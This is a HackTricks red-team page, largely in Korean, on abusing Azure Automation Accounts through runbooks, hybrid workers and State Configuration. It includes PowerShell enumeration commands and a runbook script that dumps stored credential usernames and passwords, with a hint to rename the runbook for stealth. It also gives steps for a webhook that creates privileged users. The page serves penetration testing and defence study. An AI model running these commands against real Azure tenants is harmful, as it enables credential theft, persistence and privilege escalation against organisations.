Az - Automation Account

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

From the docs: Azure Automation은 Azure 및 비 Azure 환경 전반에 걸쳐 일관된 관리를 지원하는 클라우드 기반 자동화, 운영 체제 업데이트 및 구성 서비스입니다. 여기에는 프로세스 자동화, 구성 관리, 업데이트 관리, 공유 기능 및 이질적인 기능이 포함됩니다.

이것들은 Azure에서 "예약된 작업"과 같으며, Azure 환경을 관리, 확인 및 구성하기 위해 작업(작업 또는 스크립트)을 실행할 수 있게 해줍니다.

Run As Account

Run as Account가 사용되면, Azure AD 애플리케이션이 자체 서명된 인증서로 생성되고, 서비스 주체가 생성되며, 현재 구독에서 계정에 기여자 역할이 할당됩니다(많은 권한). Microsoft는 Automation Account에 관리형 ID를 사용하는 것을 권장합니다.

이것은 2023년 9월 30일에 제거되고 관리형 ID로 변경됩니다.

Runbooks & Jobs

Runbooks는 임의의 PowerShell 코드를 실행할 수 있게 해줍니다. 이는 공격자에 의해 악용될 수 있으며, 첨부된 주체의 권한을 훔칠 수 있습니다(있는 경우). Runbooks의 코드에서 민감한 정보(예: 자격 증명)를 찾을 수도 있습니다.

작업을 읽을 수 있다면, 실행의 출력(잠재적인 민감한 정보)을 포함하고 있으므로 읽어보세요.

Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections로 이동하세요.

Hybrid Worker

Runbook은 Azure 내의 컨테이너 또는 하이브리드 워커(비 Azure 머신)에서 실행될 수 있습니다. Log Analytics Agent는 VM에 배포되어 하이브리드 워커로 등록됩니다. 하이브리드 워커 작업은 Windows에서 SYSTEM으로, Linux에서 nxautomation 계정으로 실행됩니다. 각 하이브리드 워커는 하이브리드 워커 그룹에 등록됩니다.

따라서 Windows Hybrid Worker에서 Runbook을 실행하도록 선택할 수 있다면, System으로 외부 머신 내에서 임의의 명령을 실행하게 됩니다(좋은 피벗 기술).

Compromise State Configuration (SC)

From the docs: Azure Automation State Configuration은 클라우드 또는 온프레미스 데이터 센터의 노드에 대한 PowerShell Desired State Configuration (DSC) 구성을 작성, 관리 및 컴파일할 수 있는 Azure 구성 관리 서비스입니다. 이 서비스는 DSC 리소스를 가져오고, 구성을 대상 노드에 할당하며, 모두 클라우드에서 수행됩니다. Azure 포털에서 구성 관리 아래의 **상태 구성(DSC)**를 선택하여 Azure Automation State Configuration에 액세스할 수 있습니다.

이러한 구성에서 민감한 정보를 찾을 수 있습니다.

RCE

SC를 악용하여 관리되는 머신에서 임의의 스크립트를 실행할 수 있습니다.

Az - State Configuration RCE

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

자동화 계정에서 Run Book을 사용하여 정의된 자격 증명 및 변수를 외부로 유출하기

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

기존 Run Book을 수정하여 웹 콘솔에서 동일한 작업을 수행할 수 있습니다.

자동화된 고급 권한 사용자 생성 설정 단계

1. 자동화 계정 초기화

• 필요한 작업: 새 자동화 계정을 생성합니다.

• 특정 설정: "Azure Run As 계정 생성"이 활성화되어 있는지 확인합니다.

2. Runbook 가져오기 및 설정

• 출처: MicroBurst GitHub Repository에서 샘플 runbook을 다운로드합니다.

• 필요한 작업:

• Runbook을 자동화 계정에 가져옵니다.

• Runbook을 게시하여 실행 가능하게 만듭니다.

• 외부 트리거를 활성화하기 위해 Runbook에 웹후크를 연결합니다.

3. AzureAD 모듈 구성

• 필요한 작업: AzureAD 모듈을 자동화 계정에 추가합니다.

• 추가 단계: 모든 Azure Automation 모듈이 최신 버전으로 업데이트되어 있는지 확인합니다.

4. 권한 할당

• 할당할 역할:

• 사용자 관리자

• 구독 소유자

• 대상: 필요한 권한을 위해 이러한 역할을 자동화 계정에 할당합니다.

5. 잠재적 접근 손실 인식

• 참고: 이러한 자동화를 구성하면 구독에 대한 제어를 잃을 수 있음을 인식해야 합니다.

6. 사용자 생성 트리거

• POST 요청을 보내 웹후크를 트리거하여 새 사용자를 생성합니다.

• 제공된 PowerShell 스크립트를 사용하고, $uri를 실제 웹후크 URL로 교체하고, $AccountInfo를 원하는 사용자 이름과 비밀번호로 업데이트합니다.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

References

• https://learn.microsoft.com/en-us/azure/automation/overview

• https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview

• https://github.com/rootsecdev/Azure-Red-Team#runbook-automation

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

• 구독 계획 확인하기!

• **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.

• HackTricks 및 HackTricks Cloud github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.